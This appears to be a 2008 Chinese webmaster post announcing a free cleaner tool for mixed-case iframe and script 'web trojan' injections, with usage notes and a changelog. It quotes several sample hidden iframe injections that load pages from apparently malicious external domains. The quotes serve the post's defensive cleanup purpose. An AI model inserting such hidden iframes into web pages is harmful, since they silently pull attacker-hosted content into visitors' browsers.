ifraMe大小写变形、script网马清理器(2008.08.17更新)

声明：ifraMe大小写变形、script网马清理器是由扬帆独立开发，作者免费发布供广大站长朋友使用，保留版权。扬帆blog为唯一官方网站，除此站点下载的文件有可能被捆绑木马，请认准官方网站，下载最新版本。另外作者开发软件，纯属公益性质，原则上不提供任何技术支持，对软件使用过程中发生的任何损失均不负责，禁止任何人以任何形式修改此软件。转载此软件请注明作者和本页连接，谢谢合作。

下午看到一个帖子，有人问 “最变态的网页挂马方式，大家来看怎么处理”
http://www.im286.com/viewthread.php?tid=2370947&pid=23909560&page=1&extra=page%3D1#pid23909560
看了一下是iframe大小写混合变形的马，类似这种形式
<iframe src=http://pr.749571.com/ww/new05.htm?013 width=1 height=1></iframe>
<Iframe src=http://aaa.77xxmm.cn/new858.htm?075 wiDth=0 name='8411' hEight=0></iframE><iframE src=hTTp://aaa.1l1l1l.com/error/404.hTml widTh=0 name='8411' HeigHt=0></iframe>

想了想写了个小工具,提供给落伍各位站长用,刚写完没怎么测试，有什么bug大家给我反馈下~谢谢


使用说明：
本软件专门清理iframe大小写混合网页马，比如要清理掉以下内容：
<ifraMe src=http://aaa.77xxmm.cn/new858.htm?075 width=0 nAme='5302'
height=0></ifrAme>
<iframe src=http://ppp.749571.com/ww/new05.htm?013 width=1 height=1></iframe>

网页木马关键词：77xxmm.cn，然后点搜索，搜索完毕后点清理木马
一个关键词清理完了，可以换个关键词：749571.com，再点清理木马

更新了一个版本：最新版支持iframe大小写木马，script形式挂马清，理默认后缀增加了php和inc，本次提供的是

2008.5.20再次更新：增加自定义正则规则功能，增加清理如下木马功能
[ifRame src=http://www.oiok01.net/s1.htm?bei wIdth=1 name='9589' height=1][/iframe]
2008.7.21 修正替换后产生空行的问题，增加关键词、搜索路径自动保存功能
2008.7.22 增加高级搜索功能，增加目录监控功能，自动清理木马
2008.8.17 增加特殊符号处理功能，应对新型网页木马（感谢网友“努 力”提供样本）

自动清理木马下载地址：http://www.wesoho.com/soft/down/ClearTrojan.rar